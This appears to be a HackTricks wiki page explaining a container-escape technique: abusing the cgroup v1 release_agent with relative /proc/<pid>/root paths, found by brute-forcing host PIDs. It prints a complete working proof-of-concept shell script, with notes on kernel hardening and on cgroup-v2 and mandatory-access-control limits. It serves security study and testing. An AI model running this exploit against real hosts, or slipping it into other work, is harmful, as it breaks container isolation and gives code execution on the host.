carlospolop c5aeedd559 f
2025-07-17 12:12:26 +02:00

101 lines
5.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Release Agent Exploit: Relative Paths to PIDs
{{#include ../../../../banners/hacktricks-training.md}}
For further details **check the blog post from [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. This is just a summary:
The technique outlines a method for **executing host code from within a container**, overcoming challenges posed by storage-driver configurations that obscure the container's filesystem path on the host, like Kata Containers or specific `devicemapper` settings.
Key steps:
1. **Locating Process IDs (PIDs):** Using the `/proc/<pid>/root` symbolic link in the Linux pseudo-filesystem, any file within the container can be accessed relative to the host's filesystem. This bypasses the need to know the container's filesystem path on the host.
2. **PID Bashing:** A brute force approach is employed to search through PIDs on the host. This is done by sequentially checking for the presence of a specific file at `/proc/<pid>/root/<file>`. When the file is found, it indicates that the corresponding PID belongs to a process running inside the target container.
3. **Triggering Execution:** The guessed PID path is written to the `cgroups release_agent` file. This action triggers the execution of the `release_agent`. The success of this step is confirmed by checking for the creation of an output file.
### Exploitation Process
The exploitation process involves a more detailed set of actions, aiming to execute a payload on the host by guessing the correct PID of a process running inside the container. Here's how it unfolds:
1. **Initialize Environment:** A payload script (`payload.sh`) is prepared on the host, and a unique directory is created for cgroup manipulation.
2. **Prepare Payload:** The payload script, which contains the commands to be executed on the host, is written and made executable.
3. **Set Up Cgroup:** The cgroup is mounted and configured. The `notify_on_release` flag is set to ensure that the payload executes when the cgroup is released.
4. **Brute Force PID:** A loop iterates through potential PIDs, writing each guessed PID to the `release_agent` file. This effectively sets the payload script as the `release_agent`.
5. **Trigger and Check Execution:** For each PID, the cgroup's `cgroup.procs` is written to, triggering the execution of the `release_agent` if the PID is correct. The loop continues until the output of the payload script is found, indicating successful execution.
PoC from the blog post:
```bash
#!/bin/sh
OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &
# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__
# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}
# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done
# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```
## Kernel hardening since 2022 (CVE-2022-0492)
From Linux 5.10.93/5.15.17/5.16.2 onward the kernel **requires `CAP_SYS_ADMIN` in the _initial_ user-namespace to write `release_agent`**. A *privileged* container still has that capability, so this relative-path variant remains exploitable. *Unprivileged* containers on patched kernels, however, will not bypass the new check.
## Limitations on modern hosts (2025)
* **cgroup-v2** (the default in Fedora 40, Ubuntu 24.10 and most systemd-256+ distros) **removed the whole `release_agent` interface** the technique simply does not exist there.
* On hybrid systems (`cgroup_no_v1="memory"` etc.) the memory controller may reside in v1 while others are in v2; if the memory hierarchy is v2 **the exploit must mount some other v1 controller** (e.g. `rdma`) to work.
* Mandatory Access Control profiles (AppArmor/SELinux) that disallow `mount` or make `/sys/fs/cgroup/**/release_agent` read-only will block the attack even in privileged containers.
{{#include ../../../../banners/hacktricks-training.md}}